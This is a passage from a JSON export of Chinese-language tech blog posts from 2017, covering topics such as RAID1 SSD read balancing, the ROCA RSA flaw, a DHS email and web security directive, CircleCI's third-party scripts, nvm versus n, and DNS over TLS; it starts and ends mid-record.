    "body": "在「<a href=\"https://utcc.utoronto.ca/~cks/space/blog/linux/UnbalancedSSDMirrorReads\">Unbalanced reads from SSDs in software RAID mirrors in Linux</a>」這邊看到作者看 <a href=\"https://en.wikipedia.org/wiki/S.M.A.R.T.\">S.M.A.R.T.</a> 數據時發現兩顆 SSD 硬碟組成的 RAID1 有很明顯的讀取不平均的問題：\r\n\r\n<blockquote>242 Total_LBAs_Read [...]  16838224623\r\n242 Total_LBAs_Read [...]  1698394290</blockquote>\r\n\r\n原因是因為 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 對 RAID1 的 SSD 有不一樣的演算法：\r\n\r\n<blockquote>The current state of RAID1 read balancing is kind of complex, but the important thing here in all kernels since 2012 is that if you have SSDs and at least one disk is idle, the first idle disk will be chosen.</blockquote>\r\n\r\n2016 時演算法就更激進了，變成非 SSD 會：\r\n\r\n<blockquote>In kernels with the late 2016 change, this widens to if at least one disk is idle, the first idle disk will be chosen, even if all mirrors are HDs.</blockquote>\r\n\r\n加上 SSD 很快，這造成 loading 幾乎都在第一顆上... 這對 SSD 應該是還好啦 (理論上 SSD 的讀取不傷壽命)，不過還是有點怪就是了。",
    "title": "Linux 下 RAID1 的 SSD 會有讀取不平均問題"
  },
  {
    "id": "7643",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://18f.gsa.gov/\">18F</a> 貼了 <a href=\"https://www.dhs.gov/\">DHS</a> 的新規定：「<a href=\"https://cyber.dhs.gov/\">Enhance Email and Web Security</a>」。\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Just launched by our friends at DHS! A new federal directive to require DMARC and STARTTLS, and to cut RC4 and 3DES: <a href=\"https://t.co/gp5G7A6LMA\">https://t.co/gp5G7A6LMA</a> <a href=\"https://t.co/6V4UJ9sGIo\">pic.twitter.com/6V4UJ9sGIo</a></p>&mdash; 18F (@18F) <a href=\"https://twitter.com/18F/status/919962726935486464?ref_src=twsrc%5Etfw\">October 16, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n郵件系統的部份，要求要有 <a href=\"https://en.wikipedia.org/wiki/STARTTLS\">STARTTLS</a>，並且設定 <a href=\"https://en.wikipedia.org/wiki/Sender_Policy_Framework\">SPF</a> 與 <a href=\"https://en.wikipedia.org/wiki/DMARC\">DMARC</a>。另外禁用 <a href=\"https://en.wikipedia.org/wiki/SSLv2\">SSLv2 </a>與 <a href=\"https://en.wikipedia.org/wiki/SSLv3\">SSLv3</a>，以及 <a href=\"https://en.wikipedia.org/wiki/RC4\">RC4</a> 與 <a href=\"https://en.wikipedia.org/wiki/Triple_DES\">3DES</a>。\r\n\r\n網站的部份，則是要求 HTTPS 以及 <a href=\"https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security\">HSTS</a>。另外也與郵件系統一樣禁用 SSLv2、SSLv3，以及 RC4 與 3DES。\r\n\r\n不只 18F 一個單位在推動，這樣整體的速度才會加快...",
    "title": "DHS 要求郵件系統都必須使用 STARTTLS、DMARC，並且全面禁用 RC4 與 3DES"
  },
  {
    "id": "7644",
    "body": "看到「<a href=\"https://medium.com/@balajis/how-big-is-twitter-moments-f3a81ee85f71\">How big is Twitter Moments?</a>」這篇，在談 <a href=\"https://support.twitter.com/articles/20174546\">Twitter Moments</a>。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zpiQTHI.webp\" /><img src=\"https://i.gslin.com/imgur/zpiQTHI.jpg\" alt=\"\" /></picture>\r\n\r\n依照推算，Twitter Moments 的使用量應該比全世界任何一個媒體都大，但你會發現實際上沒有音量。沒有人談論他，沒有人引用他... 但估算起來他應該是超級大的產品？\r\n\r\n有種「到底怎麼樣才算是一個成功的產品」的反思。",
    "title": "Twitter Moments 很大？"
  },
  {
    "id": "7645",
    "body": "從「<a href=\"https://forum.linode.com/viewtopic.php?t=15333\">Linode Block Storage (Fremont beta)</a>」這邊可以看到 <a href=\"https://www.linode.com/\">Linode</a> 推出 Block Storage 了，是 SSD-based，跟 <a href=\"https://aws.amazon.com/ebs/\">Amazon EBS</a> 的 gp2 也是 SSD-based 相同。\r\n\r\n計價方式，價錢也相同，沒有 I/O fee：\r\n\r\n<blockquote>They're affordable - $0.10 per GB (free during the beta) and no usage fees.</blockquote>\r\n\r\n目前能從 1GB 開到 1TB：\r\n\r\n<blockquote>How big of a Volume can I create?\r\nBetween 1 GB and 1024 GB for now. After the beta, the max volume size may be larger.</blockquote>\r\n\r\n單台可以掛 8 個：\r\n\r\n<blockquote>How many Volumes can I attach to a Linode at the same time?\r\nUp to 8.</blockquote>\r\n\r\n然後 2018 開始收費：\r\n\r\n<blockquote>The beta is free through 2017. January 1, 2018 the meter starts running.</blockquote>\r\n\r\n有了 Block Storage 後有些事情就比較好搭出來了，也不會受限於 local disk 的空間大小。",
    "title": "Linode 要推出「Linode Block Storage」了..."
  },
  {
    "id": "7646",
    "body": "在「<a href=\"http://www.ocregister.com/2017/10/12/in-bid-to-fight-gender-pay-gap-gov-jerry-brown-signs-salary-privacy-law/\">California bosses can no longer ask you about your previous salary</a>」這邊看到的消息。繼「<a href=\"https://blog.gslin.org/archives/2016/08/17/6743/%E9%BA%BB%E5%B7%9E%E7%AB%8B%E6%B3%95%E7%A6%81%E6%AD%A2%E8%A9%A2%E5%95%8F%E5%89%8D%E4%B8%80%E4%BB%BD%E5%B7%A5%E4%BD%9C%E7%9A%84%E8%96%AA%E8%B3%87/\">麻州立法禁止詢問前一份工作的薪資</a>」與「<a href=\"https://blog.gslin.org/archives/2017/04/09/7239/%E7%B4%90%E7%B4%84%E5%B8%82%E4%B9%9F%E5%B0%87%E7%A6%81%E6%AD%A2%E9%9B%87%E4%B8%BB%E8%A9%A2%E5%95%8F%E8%96%AA%E8%B3%87/\">紐約市也將禁止雇主詢問薪資</a>」後，加州也加入了這個行列。\r\n\r\n<blockquote>The salary privacy bill, was enacted by Gov. Jerry Brown on Thursday, Oct. 12, at a celebratory signing ceremony at Women’s Empowerment, a Sacramento nonprofit for homeless women. He was surrounded by members of the California Legislative Women’s Caucus.</blockquote>\r\n\r\n法案將於 2018 年生效：\r\n\r\n<blockquote>The salary privacy bill takes effect on January 1, 2018.</blockquote>",
    "title": "加州也禁止詢問之前的薪資了"
  },
  {
    "id": "7647",
    "body": "前幾天在「<a href=\"https://blog.gslin.org/archives/2017/10/07/7622/%E4%BF%84%E7%BE%85%E6%96%AF%E6%94%BF%E5%BA%9C%E9%80%8F%E9%81%8E%E5%8D%A1%E5%B7%B4%E6%96%AF%E5%9F%BA%E7%9A%84%E6%BC%8F%E6%B4%9E%EF%BC%8C%E5%81%B7%E5%8F%96%E7%BE%8E%E5%9C%8B%E5%9C%8B%E5%AE%89%E5%B1%80/\">俄羅斯政府透過卡巴斯基的漏洞，偷取美國國安局的文件</a>」這邊提到了俄羅斯是透過 <a href=\"https://www.kaspersky.com/\">Kaspersky</a> 的漏洞取得，後續又有些消息揭露出來了...\r\n\r\n這件事情會被抓包，是因為以色列黑進去 Kaspersky 的系統 (???)，然後發現美國的機密資料外洩 (??????)，於是通報盟友美國後追查出來的 (?????????)：「<a href=\"https://www.washingtonpost.com/world/national-security/israel-hacked-kaspersky-then-tipped-the-nsa-that-its-tools-had-been-breached/2017/10/10/d48ce774-aa95-11e7-850e-2bdd1236be5d_story.html\">Israel hacked Kaspersky, then tipped the NSA that its tools had been breached</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/ZJeBJF6.jpg\" alt=\"\" />\r\n\r\n這過程是殺小 XDDD",
    "title": "以色列黑了 Kaspersky 的系統，然後通報美國機密資料外洩..."
  },
  {
    "id": "7648",
    "body": "作者看 <a href=\"https://circleci.com/\">CircleCI</a> 網站時發現的問題：「<a href=\"https://kev.inburke.com/kevin/circleci-is-hopelessly-insecure/\">CircleCI trusts 8 analytics companies with your source code and API tokens</a>」。\r\n\r\nCircleCI 網站引用了這八個網站的 javascript：\r\n\r\n<ul>\r\n\t<li>Pusher</li>\r\n\t<li>Intercom</li>\r\n\t<li>Launch Darkly</li>\r\n\t<li>Amplitude</li>\r\n\t<li>Appcues</li>\r\n\t<li>Quora (??)</li>\r\n\t<li>elev.io</li>\r\n\t<li>Optimizely</li>\r\n</ul>\r\n\r\n有些有很明顯目的而且也夠大，但有些就沒聽過了... 不過照 <a href=\"https://builtwith.com/\">BuiltWith</a> 上分析的資料「<a href=\"https://builtwith.com/circleci.com\">circleci.com Technology Profile</a>」，遠超過這些啊 XDDD\r\n\r\n可以看到 <a href=\"https://github.com/\">GitHub</a> 站上只引用了 <a href=\"https://www.facebook.com/\">Facebook</a> (不過這是哪邊出現的啊？)，另外因為使用 <a href=\"https://www.fastly.com/\">Fastly</a> 的 CDN 服務，所以 Fastly 也是屬於 GitHub 的信任名單；這兩家都算夠大的 vendor：「<a href=\"https://builtwith.com/github.com\">github.com Technology Profile</a>」。\r\n\r\n而 <a href=\"https://travis-ci.com/\">Travis CI</a> 則是 <a href=\"https://analytics.google.com/\">Google Analytics</a> 與 Fastly，也是兩家夠大的 vendor：「<a href=\"https://builtwith.com/travis-ci.com\">travis-ci.com Technology Profile</a>」。\r\n\r\n所以對於很注重這資安方面的人，應該還算是有選擇...",
    "title": "CircleCI 的隱私問題"
  },
  {
    "id": "7649",
    "body": "<a href=\"https://amazonlightsail.com/\">Amazon Lightsail</a> 決定支援 Windows 了，算是其他目前幾家領頭的 VPS 還沒進入的領域：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-lightsail-update-launch-and-manage-windows-virtual-private-servers/\">Amazon Lightsail Update – Launch and Manage Windows Virtual Private Servers</a>」。\r\n\r\n由於多了 Windows 的授權費用，價錢貴了不少：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/npb4LPU.webp\" /><img src=\"https://i.gslin.com/imgur/npb4LPU.jpg\" alt=\"\" /></picture>\r\n\r\n不過還是提供一個月免費的額度：\r\n\r\n<blockquote>You can try out a 512 MB server for one month (up to 750 hours) at no charge.</blockquote>\r\n\r\n不過不是所有 Amazon Lightsail 有開的區域都支援 Windows：\r\n\r\n<blockquote>This feature is available today in the US East (Northern Virginia), US East (Ohio), US West (Oregon), EU (London), EU (Ireland), EU (Frankfurt), Asia Pacific (Singapore), Asia Pacific (Mumbai), Asia Pacific (Sydney), and Asia Pacific (Tokyo) Regions.</blockquote>\r\n\r\n不過還是不知道 Amazon Lightsail 進入這塊市場的想法是什麼...",
    "title": "Amazon Lightsail 支援 Windows 了"
  },
  {
    "id": "7650",
    "body": "前幾天 2017/10/11 達到了：「<a href=\"http://www.billboard.com/articles/news/7997618/luis-fonsi-daddy-yankee-despacito-first-4-billion-views-youtube\">Luis Fonsi &amp; Daddy Yankee's 'Despacito' Is First Clip to Hit 4 Billion Views on YouTube</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/s2AOB60.webp\" /><img src=\"https://i.gslin.com/imgur/s2AOB60.jpg\" alt=\"\" /></picture>\r\n<small>出自「<a href=\"https://en.wikipedia.org/wiki/Gangnam_Style_(music_video)\">Gangnam Style (music_video)</a>」這頁。</small>\r\n\r\n不到一年的時間 XD\r\n\r\n依照這個速度，應該是下個月會破 <code>UINT_MAX</code> (4294967295)？當年 YouTube 的人有在 <a href=\"https://plus.google.com/\">Google+</a> 上發了一則關於超過 <code>INT_MAX</code> 的 PR 稿 (不過後來刪除了)：「<a href=\"https://arstechnica.com/information-technology/2014/12/gangnam-style-overflows-int_max-forces-youtube-to-go-64-bit/\">Gangnam Style overflows INT_MAX, forces YouTube to go 64-bit</a>」。\r\n\r\n所以這次會發嗎？",
    "title": "YouTube 史上第一個破四十億次播放的影片：Despacito"
  },
  {
    "id": "7651",
    "body": "最近的另外一個大包，不過這包是 <a href=\"https://www.infineon.com/\">Infineon Technologies</a> 在實做 <a href=\"https://en.wikipedia.org/wiki/RSA_(cryptosystem)\">RSA</a> 算法時的問題，倒不是 RSA 算法本身有問題。之所以會「大」是因為有太多人用了：「<a href=\"https://crocs.fi.muni.cz/public/papers/rsa_ccs17\">ROCA: Vulnerable RSA generation (CVE-2017-15361)</a>」。\r\n\r\n起因於 Infineon Technologies 在產生 key 時的組合有限，於是要猜測的 keyspace 小很多。\r\n\r\n以研究者的估算，可以看出 CPU year 都被大幅減少了，都是屬於「可行」的範圍：\r\n\r\n<blockquote>The time complexity and cost for the selected key lengths (Intel E5-2650 v3@3GHz Q2/2014):\r\n\r\n512 bit RSA keys - 2 CPU hours (the cost of $0.06);\r\n1024 bit RSA keys – 97 CPU days (the cost of $40-$80);\r\n2048 bit RSA keys – 140.8 CPU years, (the cost of $20,000 - $40,000).</blockquote>\r\n\r\n而且這邊是用 CPU year 估算，如果考慮 FPGA 加速計算，應該會短更多...\r\n\r\n另外從發現到公開的時間線也拉得很長，可以看到中間一直在找解決方案：\r\n\r\n<blockquote>2nd of November 2017 - Presentation of all details at the ACM CCS conference (to come)\r\n16th of October 2017 - The initial version of the public disclosure published\r\nMay to October 2017 - Cooperation with the manufacturer and other affected parties to help evaluate and mitigate the vulnerability\r\n1st of February - The vulnerability disclosed to Infineon Technologies AG\r\nEnd of January - The vulnerability found</blockquote>\r\n\r\n過一陣子就會去 conference 上報告了...",
    "title": "ROCA：Infineon Technologies 的 RSA 實做問題"
  },
  {
    "id": "7652",
    "body": "首先是 <a href=\"https://aws.amazon.com/waf/\">AWS WAF</a> 支援 <a href=\"https://en.wikipedia.org/wiki/Regular_expression\">Regex</a> 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/10/aws-waf-now-supports-regular-expressions-regex/\">AWS WAF Now Supports Regular Expressions (Regex)</a>」。\r\n\r\n而且是以 <a href=\"http://www.pcre.org/\">PCRE</a> 版本為主：\r\n\r\n<blockquote>AWS WAF supports most of the <a href=\"http://www.pcre.org/\">standard Perl Compatible Regular Expressions (PCRE)</a>.</blockquote>\r\n\r\n這樣設定變得方便很多啊，大家都算熟 regex，而且也夠強大...\r\n\r\n另外一個公告是 AWS WAF 可以將地區的當條件進行設定了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/10/aws-waf-now-supports-geographic-match/\">AWS WAF Now Supports Geographic Match</a>」。\r\n\r\n除了針對某些地區擋掉或是開放以外，也可以針對不同地區設定 rate limit。當條件設定就是了...",
    "title": "AWS WAF 支援 Regex (PCRE)"
  },
  {
    "id": "7655",
    "body": "<a href=\"https://aws.amazon.com/device-farm/\">Amazon Device Farm</a> 推出這樣的功能又朝著設備租賃服務更進一步了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/10/amazon-device-farm-launches-direct-device-access-for-private-devices/\">Amazon Device Farm Launches Direct Device Access for Private Devices</a>」。\r\n\r\n<blockquote>Now, with direct device access, mobile applications developers can use individual devices in their private test set as if they were directly connected to their local machine via USB. Developers can now test against a wide array of devices just like they would as if the devices were sitting on their desk.</blockquote>\r\n\r\n這樣就可以使用更底層的東西了...",
    "title": "Amazon Device Farm 支援讓使用者直接連上去 debug 了..."
  },
  {
    "id": "7657",
    "body": "作者在「<a href=\"https://symfony.fi/entry/php-7-1-vs-7-2-benchmarks-with-docker-and-symfony-flex\">PHP 7.1 vs 7.2 Benchmarks (with Docker and Symfony Flex)</a>」這邊拿 <a href=\"https://symfony.com/\">Symfony</a> 測試 <a href=\"https://secure.php.net/\">PHP</a> 7.2 的效能，發現效能提昇主要來自於多個連線時的情境：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LVQo9d5.webp\" /><img src=\"https://i.gslin.com/imgur/LVQo9d5.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oz0JmHK.webp\" /><img src=\"https://i.gslin.com/imgur/oz0JmHK.jpg\" alt=\"\" /></picture>\r\n\r\n前面的數字是前端頁面 (用了 <a href=\"https://twig.symfony.com/\">Twig</a>)，後面的數字是純 API 呼叫。都可以看出 conc = 1 時其實沒有顯著差異，但只要有多個連線同時存取時，效能的提昇就會展現出來。對於繁忙的站台感覺會有不少幫助...\r\n\r\n作者的猜測是 <a href=\"https://secure.php.net/manual/en/book.opcache.php\">opcache</a> 模組的改善，也就是在<a href=\"https://github.com/php/php-src/blob/php-7.2.0beta1/NEWS#L58\">這段</a>提到的：\r\n\r\n<pre>- Opcache:\r\n  . Added global optimisation passes based on data flow analysis using Single\r\n    Static Assignment (SSA) form: Sparse Conditional Constant Propagation (SCCP),\r\n    Dead Code Elimination (DCE), and removal of unused local variables\r\n    (Nikita, Dmitry)</pre>",
    "title": "PHP 7.2 的效能改善"
  },
  {
    "id": "7661",
    "body": "在「<a href=\"https://nodejs.org/en/blog/vulnerability/oct-2017-dos/\">DOS security vulnerability, October 2017</a>」這邊先發佈了日期與影響範圍，細節預定在 10/24 發表：\r\n\r\n<blockquote>The Node.js project will be releasing new versions of 4.x, 6.x, and 8.x the week of the 24th of October to incorporate a security fix.</blockquote>\r\n\r\n<blockquote>Versions 4.8.2 and later of Node.js are vulnerable.\r\nVersions 6.10.2 and later of Node.js are vulnerable.\r\nVersions 8.x of Node.js are vulnerable.</blockquote>\r\n\r\n有心人應該可以去翻 4.8.2 改了什麼 (或是 6.10.2)，不知道是不是跟前陣子的「<a href=\"https://blog.gslin.org/archives/2017/08/27/7523/v8-%E5%B0%8D-hash-flooding-%E7%9A%84%E9%98%B2%E7%A6%A6%E6%8E%AA%E6%96%BD/\">V8 對 Hash Flooding 的防禦措施</a>」有關...",
    "title": "Node.js 預定在十月 24 號發表安全性更新"
  },
  {
    "id": "7662",
    "body": "在「<a href=\"https://blog.acolyer.org/2017/09/27/an-efficient-bandit-algorithm-for-real-time-multivariate-optimization/\">An efficient bandit algorithm for real-time multivariate optimization</a>」這邊提到了 <a href=\"https://www.amazon.com/\">Amazon</a> 不是走傳統的 A/B testing，而是同時進行多變數的最佳化：\r\n\r\n<blockquote>Consider the problem of trying to find a near-optimal version of a promotional message such as this one, which has 5 variable parts and 48 different combinations in total.\r\n\r\n<img src=\"https://i.gslin.com/imgur/uWRLZAW.jpg\" alt=\"\" /></blockquote>\r\n\r\n在這樣的測試數量下，作者預估需要 66 天才能夠得到有效的結果，而這也表示當變數更多的時候問題就更大了：\r\n\r\n<blockquote>Based on the Amazon success rate and traffic size, the authors calculated it would take 66 days to conduct a 48 treatment randomized experiment. Often this isn’t practical.</blockquote>\r\n\r\n也就是開頭提到的，如何一個禮拜就提昇 21% conversion rate：\r\n\r\n<blockquote>Aka, “How Amazon improved conversion by 21% in a single week!”</blockquote>\r\n\r\n作者也提到了這個方法其實打臉了他先前提到的另外一篇論文，在 2014 年提出測試應該要盡可能簡單 XDDD：\r\n\r\n<blockquote>Yesterday we saw the hard-won wisdom on display in ‘<a href=\"https://blog.acolyer.org/2017/09/26/seven-rules-of-thumb-for-web-site-experimenters/\">seven myths</a>‘ recommending that experiments be kept simple and only test one thing at a time, otherwise interpreting the results can get really complicated.</blockquote>\r\n\r\n只能說狀況愈來愈複雜，導致需要新方法解決問題。而且這些電商會遇到在測試時不同的 factor 之間有可能會有相依性 (也就是說這些 factor 不是 <a href=\"https://en.wikipedia.org/wiki/Independent_and_identically_distributed_random_variables\">i.i.d.</a>)，你用本來的方式反而會測不出來。",
    "title": "Amazon 的多變數最佳化"
  },
  {
    "id": "7663",
    "body": "三月的時候在「<a href=\"https://blog.gslin.org/archives/2017/03/26/7212/%E5%9C%A8-mac-%E4%B8%8A%E5%BF%AB%E9%80%9F%E5%88%87%E6%8F%9B%E8%BC%B8%E5%85%A5%E6%B3%95/\">在 Mac 上快速切換輸入法</a>」這邊提到了 <a href=\"http://rockcell.net/\">IMEShortcuts</a>，但有時候還是不會生效...\r\n\r\n在「<a href=\"https://scomper.me/writing/github-zhong-na-xie-bu-cuo-de-mian-fei-ruan-jian\">GitHub 中那些不错的免费软件</a>」這篇裡面提到了 open source 的 <a href=\"https://github.com/utatti/kawa\">utatti/kawa</a> 這個專案，裡面有針對 CJKV 輸入法的 bug 提供 workaround，就給個機會測試看看：\r\n\r\n<blockquote>There is a known bug in the TIS library of macOS that switching keyboard layouts doesn't work well when done programmatically, especially between complex input sources like CJKV.</blockquote>\r\n\r\n<img src=\"https://i.gslin.com/imgur/g6eGr8b.gif\" alt=\"\" />\r\n\r\n而且最近變得可以用 <a href=\"https://brew.sh/\">Homebrew</a> 管理了，這樣之後升級比較方便。",
    "title": "在 Mac 上快速換輸入法的方法：Kawa"
  },
  {
    "id": "7664",
    "body": "在「<a href=\"https://github.com/auraphp/Aura.Sql\">Aura.Sql</a>」這邊看到有提供 Lazy Connection 的 <a href=\"https://secure.php.net/manual/en/class.pdo.php\">PDO</a> object，而且是繼承自本來的 PDO object：\r\n\r\n<blockquote>Provides an extension to the native PDO along with a profiler and connection locator. Because ExtendedPdo is an extension of the native PDO, code already using the native PDO or typehinted to the native PDO can use ExtendedPdo without any changes.</blockquote>\r\n\r\n<blockquote>Lazy connection. ExtendedPdo connects to the database only on method calls that require a connection. This means you can create an instance and not incur the cost of a connection if you never make a query.</blockquote>\r\n\r\n之後可以拿來跟 <a href=\"https://laravel.com/\">Laravel</a> 的 <a href=\"https://laravel.com/docs/master/eloquent\">Eloquent</a> 一起用看看。本來的 PDO 物件在建立時就會建立連線，對於連線的開銷其實蠻大的，用這個應該是個方向...\r\n\r\n另外是 Profiler 的能力，需要用的時候應該會很好用：\r\n\r\n<blockquote>Profiler. An optional query profiler is provided, along with an interface for other implementations, that logs to any PSR-3 interface.</blockquote>\r\n\r\n引一下來源，當初是從「<a href=\"http://paul-m-jones.com/archives/6747\">Atlas.Orm 2.0 Is Now Stable</a>」這邊在看文件時一路看到的。",
    "title": "有 Lazy Connection 功能的 PDO object"
  },
  {
    "id": "7665",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2017/10/12/7631/alphabet-google-%E7%9A%84-project-loon-%E6%8B%BF%E5%88%B0%E6%8E%88%E6%AC%8A%EF%BC%8C%E6%94%AF%E6%8F%B4%E6%B3%A2%E5%A4%9A%E9%BB%8E%E5%90%84%E7%9A%84%E6%95%91%E7%81%BD%E8%A8%88%E7%95%AB/\">Alphabet (Google) 的 Project Loon 拿到授權，支援波多黎各的救災計畫</a>」提到 <a href=\"https://x.company/loon/\">Project Loon</a> 當時還在研究要跟誰一起合作，現在確認會跟 <a href=\"https://www.att.com/\">AT&amp;T</a> 合作提供服務了：「<a href=\"https://blog.x.company/turning-on-project-loon-in-puerto-rico-f3aa41ad2d7f\">Turning on Project Loon in Puerto Rico</a>」。\r\n\r\n<blockquote>Thanks to their support, we are now collaborating with AT&amp;T to deliver emergency internet service to the hardest hit parts of the island.</blockquote>\r\n\r\n接下來應該還會有不少數字丟出來... (像是透過 Project Loon 傳輸了多少資料，或是多少分鐘的語音通話)",
    "title": "波多黎各的 Project Loon 啟動"
  },
  {
    "id": "7667",
    "body": "前幾天在 <a href=\"https://twitter.com/\">Twitter</a> 上抱怨 <a href=\"https://github.com/creationix/nvm\">nvm</a> 很慢，導致 <a href=\"http://www.zsh.org/\">Zsh</a> 開起來很頓 (然後也同步到 <a href=\"https://www.facebook.com/\">Facebook</a> 上)：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"zh\" dir=\"ltr\">nvm 很慢的問題還是沒解啊...</p>&mdash; Gea-Suan Lin (@gslin) <a href=\"https://twitter.com/gslin/status/919287935182049280?ref_src=twsrc%5Etfw\">October 14, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n<iframe src=\"https://www.facebook.com/plugins/post.php?href=https%3A%2F%2Fwww.facebook.com%2Fgslin%2Fposts%2F10155715723784890&amp;width=500\" width=\"500\" height=\"171\" style=\"border:none;overflow:hidden\" scrolling=\"no\" frameborder=\"0\" allowTransparency=\"true\"></iframe>\r\n\r\n原因在於 <code>.bashrc</code> 或是 <code>.zshrc</code> 內初始化 nvm 時會呼叫 <code>npm config get prefix</code>，而這個命令很慢：「<a href=\"https://github.com/npm/npm/issues/14458\">`npm config get prefix` takes incredibly long (7 - 70 seconds) #14458</a>」。\r\n\r\n後來在 Facebook 的留言處有朋友提了幾個方案... 其中一個是 <a href=\"https://github.com/tj/n\">n</a>，花了些時間看軟體架構，有夠簡單... XD 對於不是拿 <a href=\"https://nodejs.org/\">Node.js</a> 開發的人應該是夠用了 (我只拿來跑一些用 Node.js 寫的工具)。\r\n\r\n整個軟體就一個 shell script，把他丟進 <code>~/bin/</code> 裡面 (我有把 <code>~/bin/</code> 放到 <code>PATH</code> 裡)，就可以用了。透過 <code>N_PREFIX</code> 設定他的基地 (預設是 <code>/usr/local</code>，我是設成 <code>$HOME</code>)，剩下就跑 <code>n lts</code>，他就把 <code>node</code> 與 <code>npm</code> 兩個檔案裝好給你用。\r\n\r\n路徑的部份要自己設定，將 <code>$N_PREFIX/node_modules/.bin</code> 放進 <code>PATH</code>，這樣安裝起來的模組如果有可執行工具可以用才能直接跑 (像是 <a href=\"https://gulpjs.com/\">gulp.js</a> 的命令)。\r\n\r\n另外，之所以會說不適合開發者用的部份，是因為 module 是跨版本共用的 (切換 node 版本時就是用另外一個版本配上去 XD)，所以比較不適合開發者使用...",
    "title": "nvm 換 n"
  },
  {
    "id": "7669",
    "body": "在「<a href=\"https://wiki.php.net/rfc/json_throw_on_error\">PHP: rfc:json_throw_on_error</a>」這邊提到 PHP 7.3 會解決 <code>json_decode()</code> 發生錯誤時的處理方式：\r\n\r\n<blockquote>PHP has two functions for dealing with JSON, <code>json_decode()</code> and <code>json_encode()</code>. Unfortunately, both have suboptimal error handling. <code>json_decode()</code> returns <code>null</code> upon erroring, but <code>null</code> is also a possible valid result (if decoding the JSON “null”).</blockquote>\r\n\r\n在這之前唯一的判斷方式是另外再呼叫 <code>json_last_error()</code> 或是 <code>json_last_error_msg()</code>，但這樣寫很辛苦，所以要引入 <code>JsonException</code> 了，總算...",
    "title": "PHP 7.3 的 json_decode() 將會用 Exception 處理錯誤"
  },
  {
    "id": "7670",
    "body": "從「<a href=\"https://thehackernews.com/2017/10/android-dns-over-tls.html\">Android getting \"DNS over TLS\" to prevent ISPs from knowing what websites you visit</a>」這邊看到的報導，原\r\n文在「<a href=\"https://www.xda-developers.com/android-dns-over-tls-website-privacy/\">Android getting “DNS over TLS” support to stop ISPs from knowing what websites you visit</a>」這邊可以看到。\r\n\r\n<blockquote>It appears that “DNS over TLS” support is being added to Android, <a href=\"https://android-review.googlesource.com/#/q/topic:dns-dev-opt+(status:open+OR+status:merged)\">according to several commits added to the Android Open Source Project (AOSP)</a>. The addition in the Android repository shows that a new setting will be added under Developer Options allowing users to turn on or off DNS over TLS. Presumably, if such an option is being added to Developer Options, then that means it is in testing and may arrive in a future version of Android such as version 8.1.</blockquote>\r\n\r\n這邊用的應該是 RFC 7858 的「<a href=\"https://tools.ietf.org/html/rfc7858\">Specification for DNS over Transport Layer Security (TLS)</a>」，已經是 Standards Track 了。預設使用 TCP port 853：\r\n\r\n<blockquote>By default, a DNS client desiring privacy from DNS over TLS from a particular server MUST establish a TCP connection to port 853 on the server, unless it has mutual agreement with its server to use a port other than port 853 for DNS over TLS.</blockquote>\r\n\r\n而且建議如果另外定義的話，不要用 port 53：\r\n\r\n<blockquote>This recommendation against use of port 53 for DNS over TLS is to avoid complication in selecting use or non-use of TLS and to reduce risk of downgrade attacks.</blockquote>\r\n\r\n另外也說明了在 port 853 上禁用明文傳輸：\r\n\r\n<blockquote>DNS clients and servers MUST NOT use port 853 to transport cleartext DNS messages.</blockquote>\r\n\r\n另外一個還在發展的標準是 <a href=\"https://www.cisco.com/\">Cisco</a> 的人推出的「<a href=\"https://tools.ietf.org/html/rfc8094\">DNS over Datagram Transport Layer Security (DTLS)</a>」，走的是 UDP port 853，不過看起來因為 stateless 的特性，需要考慮比較多問題... (尤其這類服務常配合 anycast)\r\n\r\n不過即使將 DNS query 保護起來，TLS 本身還是會透漏 hostname 的部份 (因為 <a href=\"https://en.wikipedia.org/wiki/Server_Name_Indication\">SNI</a> 的關係)，所以就 privacy 面向考量的話，沒有實質的意義... 主要還是考慮被竄改的問題？但如果是這樣的話，目前 TLS 連線本身就已經有這樣的保護了？暫時沒想到可以解什麼實際的問題...",
    "title": "Android 將測試 DNS over TLS"
  },
  {
    "id": "7671",
    "body": "忘記從哪邊冒出來的連結，反正是個 2011 年的研究：「<a href=\"https://www.ncbi.nlm.nih.gov/pubmed/21528171\">Sickness absence associated with shared and open-plan offices--a national cross sectional questionnaire survey.</a>」。2011 年在丹麥的研究：\r\n\r\n<blockquote>METHODS: The analysis was based on a national survey of Danish inhabitants between 18-59 years of age (response rate 62%), and the study population consisted of the 2403 employees that reported working in offices. The different types of offices were characterized according to self-reported number of occupants in the space. The log-linear Poisson model was used to model the number of self-reported sickness absence days depending on the type of office; the analysis was adjusted for age, gender, socioeconomic status, body mass index, alcohol consumption, smoking habits, and physical activity during leisure time.</blockquote>\r\n\r\n都是與 cellular office 比較，可以看出大於六個人的開放辦公室病假的量高出許多：\r\n\r\n<blockquote>RESULTS: Sickness absence was significantly related to having a greater number of occupants in the office (P&lt;0.001) when adjusting for confounders. Compared to cellular offices, occupants in 2-person offices had 50% more days of sickness absence [rate ratio (RR) 1.50, 95% confidence interval (95% CI) 1.13-1.98], occupants in 3-6-person offices had 36% more days of sickness absence (RR 1.36, 95% CI 1.08-1.73), and occupants in open-plan offices (&gt;6 persons) had 62% more days of sickness absence (RR 1.62, 95% CI 